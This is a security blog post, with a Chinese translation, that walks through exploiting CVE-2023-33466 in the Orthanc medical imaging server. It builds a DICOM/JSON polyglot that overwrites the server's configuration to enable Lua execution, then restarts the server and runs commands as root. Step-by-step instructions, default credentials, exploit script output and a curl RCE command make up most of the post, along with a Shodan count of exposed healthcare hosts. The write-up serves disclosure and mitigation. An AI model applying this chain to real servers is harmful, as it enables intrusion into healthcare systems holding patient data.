CVE-2023-33466 – Exploiting Healthcare Servers with Polyglot Files

TL;DR TL;博士

Orthanc is an open source software to manage, exchange and visualize medical imaging data. In versions < 1.12.0, it is affected by an arbitrary file overwrite vulnerability (CVE-2023-33466) that might allow an authenticated attacker to obtain RCE on the system. The CVE was published on June 2023, but no exploit was publicly available for it, so we chose to publish this blogpost with more details about the vulnerability so you can exploit and mitigate it.
Orthanc 是一款用于管理、交换和可视化医学成像数据的开源软件。在 1.12.0 <版本中，它受到任意文件覆盖漏洞 （CVE-2023-33466） 的影响，该漏洞可能允许经过身份验证的攻击者在系统上获取 RCE。CVE 于 2023 年 6 月发布，但尚未公开利用该漏洞，因此我们选择发布这篇博文，其中包含有关该漏洞的更多详细信息，以便您可以利用和缓解它。

Introduction 介绍

During a Web Application Penetration Test for one of our customers, we noticed that one of components in use was an Orthanc instance, an OS software used in healthcare to manage medical imaging data.
在对一位客户的 Web 应用程序渗透测试中，我们注意到正在使用的组件之一是 Orthanc 实例，这是一种用于医疗保健的操作系统软件，用于管理医学成像数据。

While doing some information gathering, we have noticed a recently disclosed CVE disclosed for the product scored as High, promising RCE (Remote Code Execution) in some instances. A quick diff of some bundled JS files indicated with high confidence that the target instance was running a version of Orthanc old enough to be affected by this vulnerability. Since there was no documented exploit associated, we decided to dig more.
在进行一些信息收集时，我们注意到最近披露的 CVE 披露的产品评分为“高”，在某些情况下有望获得 RCE（远程代码执行）。一些捆绑的 JS 文件的快速差异非常可靠地表明目标实例运行的 Orthanc 版本足够旧，可能会受到此漏洞的影响。由于没有记录在案的漏洞利用，我们决定挖掘更多。

Patch Diff Analysis 补丁差异分析

The fix commit can be inspected here. What can be determined by reading it:
可以在此处检查修复提交。通过阅读可以确定什么：

• The REST API exposed by Orthanc has an endpoint vulnerable to arbitrary file overwrite.
  Orthanc 公开的 REST API 具有易受任意文件覆盖影响的端点。
• The fix introduces a configuration variable, with false as default, that regulates access to the endpoint.
  此修复引入了一个配置变量，默认情况下， false 用于控制对终结点的访问。

A snippet of documentation of the vulnerable endpoint (in the patched code):
易受攻击终结点的文档片段（在修补的代码中）：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

  static void ExportInstanceFile(RestApiPostCall& call)
  {
    if (call.IsDocumentation())
    {
      call.GetDocumentation()
        .SetTag("Instances")
        .SetSummary("Write DICOM onto filesystem")
        .SetDescription("Write the DICOM file onto the filesystem where Orthanc is running.  This is insecure for "
                        "Orthanc servers that are remotely accessible since one could overwrite any system file.  "
                        "Since Orthanc 1.12.0, this route is disabled by default, but can be enabled using "
                        "the `RestApiWriteToFileSystemEnabled` configuration option.")
        .SetUriArgument("id", "Orthanc identifier of the DICOM instance of interest")
        .AddRequestType(MimeType_PlainText, "Target path on the filesystem");
      return;
    }

It seems this endpoint can be used to export a DICOM file already managed by the application to the filesystem, at a chosen path. This leads to an Unrestricted File Upload Vulnerability and can be used in multiple ways by an attacker.
似乎此端点可用于将已由应用程序管理的 DICOM 文件导出到所选路径的文件系统。这会导致不受限制的文件上传漏洞，攻击者可以以多种方式使用该漏洞。

Before exporting DICOM files, they should be uploaded to the system. Orthanc exposes an API for that as well, documented here. Is the upload arbitrary? This question can be answered by sending an arbitrary file to the API and observing the response:
在导出 DICOM 文件之前，应将它们上传到系统。Orthanc 也为此公开了一个 API，记录在这里。上传是任意的吗？这个问题可以通过向 API 发送任意文件并观察响应来回答：

It seems the server is actually checking for the content of the file before accepting it. This makes sense, since the DICOM file needs to be parsed into patients, studies, series of tests and so on and so forth. We are left with (at least) two choices:
似乎服务器在接受文件之前实际上正在检查文件的内容。这是有道理的，因为 DICOM 文件需要解析为患者、研究、一系列测试等。我们（至少）有两个选择：

1. Find a way to bypass the file checks, so that an arbitrary file can be uploaded without caring for DICOM.
   找到一种方法来绕过文件检查，以便可以在不关心 DICOM 的情况下上传任意文件。
2. Upload a DICOM file that is also an useful payload.
   上传一个 DICOM 文件，该文件也是一个有用的有效负载。

We went with option 2 for bonus fun and stealth points 🥷.
我们选择了选项 2 以获得额外的乐趣和隐身点🥷。

DICOM Polyglot Files DICOM Polyglot文件

Orthanc can act as both a DICOM server and a DICOM client. But what is DICOM, you may ask?
Orthanc 既可以充当 DICOM 服务器，也可以充当 DICOM 客户端。但你可能会问，什么是DICOM？

DICOM (Digital Imaging and Communications in Medicine), quoting from Wikipedia, is a “standard protocol for the management and transmission of medical images and related data and is used in many healthcare facilities”.
DICOM（医学数字成像和通信）引用维基百科，是“用于管理和传输医学图像和相关数据的标准协议，用于许多医疗机构”。

In the context of security, a polyglot file is a file that is at the same time a valid form of multiple different file types – in other words, a hacker’s best friend. (If you want to learn more and blow you mind 🤯 you should checkout Ange Albertini’s Funky File Formats talk and all his publications aswell).
在安全性的上下文中，多语言文件是同时是多种不同文件类型的有效形式的文件，换句话说，是黑客最好的朋友。（如果您想了解更多信息并让您大🤯吃一惊，您应该查看 Ange Albertini 的 Funky File Formats 演讲和他的所有出版物）。

To find out how to inject interesting payloads into valid DICOM files, we examined the standard for a while. It seems that every DICOM “instance” is made up of a header, the File Meta Information, followed by the actual data. The first field of the header, the File Preamble, immediately catched our attention:
为了了解如何将有趣的有效负载注入到有效的 DICOM 文件中，我们研究了一段时间的标准。似乎每个 DICOM“实例”都由一个标题、文件元信息以及实际数据组成。标题的第一个字段，即文件序言，立即引起了我们的注意：

A fixed 128 byte field available for Application Profile or implementation specified use. If not used by an Application Profile or a specific implementation all bytes shall be set to 00H. File-set Readers or Updaters shall not rely on the content of this Preamble to determine that this File is or is not a DICOM File.
一个固定的 128 字节字段，可用于应用程序配置文件或实现指定用途。如果应用程序配置文件或特定实现未使用，则所有字节都应设置为 00H。文件集读取器或更新程序不应依赖本序言的内容来确定此文件是否为 DICOM 文件。

Can these 128 bytes be used to inject arbitrary contents that will not make the DICOM parser complain? To verify this assumption, we downloaded a demo DICOM image and injected a test string into the first 128 bytes. This is the result (the hexdump also shows the beginning of the prefix after the preamble):
这 128 个字节是否可以用于注入不会使 DICOM 解析器抱怨的任意内容？为了验证这一假设，我们下载了一个演示 DICOM 图像，并将测试字符串注入到前 128 个字节中。这是结果（hexdump 还在前导码之后显示前缀的开头）：

The server accepts this file as valid, therefore it is confirmed that these 128 bytes constitute usable space for a payload!
服务器接受此文件为有效文件，因此确认这 128 个字节构成了有效负载的可用空间！

Now, how to use it?
现在，如何使用它？

Living Off The Land 以土地为生

So, there are 128 bytes of arbitrary payload in the header of a DICOM file. To be usable for RCE, the content needs to satisfy the following requirements:
因此，DICOM 文件的标头中有 128 字节的任意有效负载。要用于 RCE，内容需要满足以下要求：

1. Needs to enable code execution, or acts as a stager for another payload enabling command execution.
   需要启用代码执行，或充当另一个有效负载的暂存器，以启用命令执行。
2. Needs to fit in 128 bytes.
   需要容纳 128 字节。
3. Needs to ignore everything which comes after the first 128 bytes (the rest of the DICOM file).
   需要忽略前 128 个字节（DICOM 文件的其余部分）之后的所有内容。

There are a few approaches to evaluate here, but the CVE description string contains some hints on the next step:
这里有几种方法可以评估，但 CVE 描述字符串包含有关下一步的一些提示：

Orthanc before 1.12.0 allows authenticated users with access to the Orthanc API to overwrite arbitrary files on the file system, and in specific deployment scenarios allows the attacker to overwrite the configuration, which can be exploited to trigger Remote Code Execution (RCE).
低于 1.12.0 的 Orthanc 允许有权访问 Orthanc API 的经过身份验证的用户覆盖文件系统上的任意文件，并且在特定部署场景中允许攻击者覆盖配置，从而可利用此漏洞触发远程代码执行 （RCE）。

With this premise, we inspected the configuration properties and default values. An interesting property immediately appears:
在此前提下，我们检查了配置属性和默认值。一个有趣的属性立即出现：

1
2
3

// Whether calls to URI "/tools/execute-script" is enabled. Starting
// with Orthanc 1.5.8, this URI is disabled by default for security.
"ExecuteLuaEnabled" : false,

A Lua endpoint that accepts arbitrary code? Seems a good target for RCE. The payload might then be an arbitrary JSON configuration (as long as it fits in the 128 bytes) with the ExecuteLuaEnabled property switched on. The minimal configuration to inject is:
接受任意代码的 Lua 端点？似乎是RCE的好目标。然后，有效负载可能是任意 JSON 配置（只要它适合 128 个字节），并打开了该 ExecuteLuaEnabled 属性。要注入的最低配置是：

1

{"ExecuteLuaEnabled":true,"RemoteAccessAllowed":true}

The second variable is needed to make sure that the server exposes its HTTP server. The demo DICOM file, with the configuration payload injected, looks like this:
需要第二个变量来确保服务器公开其 HTTP 服务器。注入了配置有效负载的演示 DICOM 文件如下所示：

⚠️ Notice the NULL byte at the end of the payload: it is a trick necessary to make sure the C++ library (JSONCPP) that parses the configuration only parses our injected configuration, ignoring the rest of the DICOM file.
⚠️ 请注意有效负载末尾的 NULL 字节：确保解析配置的 C++ 库 （JSONCPP） 仅解析注入的配置，忽略 DICOM 文件的其余部分，这是一个技巧。

We confirm that the DICOM polyglot payload is a valid configuration by trying to run a local instance of Orthanc and passing it as parameter:
我们通过尝试运行 Orthanc 的本地实例并将其作为参数传递来确认 DICOM 多语言有效负载是有效配置：

In order to complete the exploit chain, there are two missing bits:
为了完成漏洞利用链，缺少两个位：

• A way to force the server to reload the configuration after overwriting it. Luckily, a POST /tools/reset endpoint exists to restart the server (and reload the configuration).
  一种强制服务器在覆盖配置后重新加载配置的方法。幸运的是，存在一个 POST /tools/reset 端点来重新启动服务器（并重新加载配置）。
• The path of the configuration to overwrite. In this case (it was a white box assessment) we had information on the specific deployment. In other cases, it would be needed to test with different default paths (/etc/orthanc.json, /tmp/orthanc.json, etc.).
  要覆盖的配置的路径。在这种情况下（这是一个白盒评估），我们获得了有关特定部署的信息。在其他情况下，需要使用不同的默认路径（ /etc/orthanc.json 、 /tmp/orthanc.json 等）进行测试。

Exploit 利用

The exploit is composed of the following steps, please notice that a valid set of credentials is required to interact with the APIs which by default are orthanc:orthanc:
该漏洞利用由以下步骤组成，请注意，需要一组有效的凭据才能与 API 交互，默认情况下是 orthanc ： orthanc

1. Produce a DICOM file that is also a valid Orthanc JSON configuration. To do so, download any valid DICOM file from the internet, and open it in a hex editor. Replace the content of the first bytes with the following content: {"ExecuteLuaEnabled": true, "RemoteAccessAllowed": true}. Make sure to append a null byte at the end.
   生成一个 DICOM 文件，该文件也是有效的 Orthanc JSON 配置。为此，请从 Internet 下载任何有效的 DICOM 文件，然后在十六进制编辑器中打开它。将第一个字节的内容替换为以下内容： {"ExecuteLuaEnabled": true, "RemoteAccessAllowed": true} .请确保在末尾附加一个 null 字节。
2. Call the GET /instances API in orthanc and take note of the list of currently uploaded instances.
   在 orthanc 中调用 GET /instances API，并记下当前上传的实例列表。
3. Upload the created file in step 1 through the UI upload functionality.
   通过UI上传功能上传步骤1中创建的文件。
4. Call again GET /instances and compare its response with the previous one, the new instance which will emerge from the diff is the one of our payload – we will reference it as instance_id.
   再次 GET /instances 调用并将其响应与前一个响应进行比较，将从差异中出现的新实例是我们的有效负载之一 – 我们将它引用为 instance_id .
5. Contact POST /instances/instance_id/export with the instance_id obtained in step 4. In the POST body specify the target path for the project configuration: this will depend on the specific deployment! (To pick the correct path consult documentation and do some recon (i.e. the default path in Linux is /etc/orthanc/orthanc.json, while it is /tmp/orthanc.json in the Orthanc Docker image).
   与步骤4中得到的 instance_id 接触 POST /instances/instance_id/export 。在 POST 正文中，指定项目配置的目标路径：这将取决于具体的部署！（要选择正确的路径，请查阅文档并进行一些侦察（即 Linux 中的默认路径是 /etc/orthanc/orthanc.json ，而它在 Orthanc Docker 映像 /tmp/orthanc.json 中）。
6. Trigger restart via POST /tools/reset.
   通过 POST /tools/reset 触发重新启动。
7. Verify that the POST /tools/execute-script endpoind responds with 200. Put your Lua RCE payloads in the POST body and enjoy the shellz🐚!
   验证 POST /tools/execute-script endpoind 是否响应 200。将您的 Lua RCE 有效载荷放入 POST 主体中，享受 shellz🐚！

A python script implementing the exploit is available here. Running the script against our test instance of Orthanc grants us with a juicy RCE:
此处提供了实现该漏洞利用的 python 脚本。针对我们的 Orthanc 测试实例运行脚本会为我们带来一个多汁的 RCE：

1
2
3
4
5
6
7
8
9

❯ python3 exploit.py  --url "http://localhost" --config-path "/tmp/orthanc.json" --creds "orthanc:orthanc"
Uploading the file...
Checking that file was uploaded...
Overwriting target configuration: /tmp/orthanc.json
Restarting the server...
Checking RCE...
[+] RCE enabled! You can send POST requests to http://localhost/tools/execute-script with Lua commands. Credentials are now orthanc:orthanc.
❯ curl -H "Authorization: Basic $(echo -n "orthanc:orthanc" | base64)" -X POST http://localhost/tools/execute-script -d "local handle = io.popen('id'); print(handle:read('*a'))"
uid=0(root) gid=0(root) groups=0(root)

A few minutes later, we have a shell on the host, which is connected to the company intranet 😼.
几分钟后，我们在主机上有一个shell，它连接到公司内网😼。

Impact Analysis 💰 影响分析 💰

After writing the exploit, we tried to assess the impact of the CVE in the wild. After all, Orthanc is a software used in the healthcare sector, therefore it is operating in a very sensitive context. A quick lookup on Shodan (by searching for the authentication realm “Orthanc Secure Area”) returned ~1700 exposed instances. We have developed a quick script to check for (probable) presence of the vulnerability here.
在编写漏洞利用后，我们试图评估 CVE 在野外的影响。毕竟，Orthanc 是医疗保健领域使用的软件，因此它在非常敏感的环境中运行。对 Shodan 的快速查找（通过搜索身份验证领域“Orthanc Secure Area”）返回了 ~1700 个公开的实例。我们开发了一个快速脚本来检查此处是否存在（可能）漏洞。

At the time of writing ~20 hosts are publicly exposed with default credentials and with the arbitrary overwrite endpoint unrestricted. We urge every administrator that is using Orthanc in their systems to change the default/weak credentials and upgrade the software.
在撰写本文时，~20 台主机使用默认凭据公开，并且任意覆盖端点不受限制。我们敦促每个在其系统中使用 Orthanc 的管理员更改默认/弱凭据并升级软件。

Takeaways 🥡 要点 🥡

Sometimes, ignoring CVEs without a public exploit might be tempting (this counts for both attackers and defenders). However, a working exploit is often behind the corner, and it only requires understanding a bit the system we’re testing and a few experiments!
有时，在没有公开漏洞的情况下忽略 CVE 可能很诱人（这对攻击者和防御者都很重要）。然而，一个有效的漏洞利用往往是在角落里，它只需要稍微了解一下我们正在测试的系统和一些实验！

But even more important polyglots are 😍!
但更重要的是通晓多种语言！ 😍

原文始发于SUIDPIT：CVE-2023-33466 – Exploiting Healthcare Servers with Polyglot Files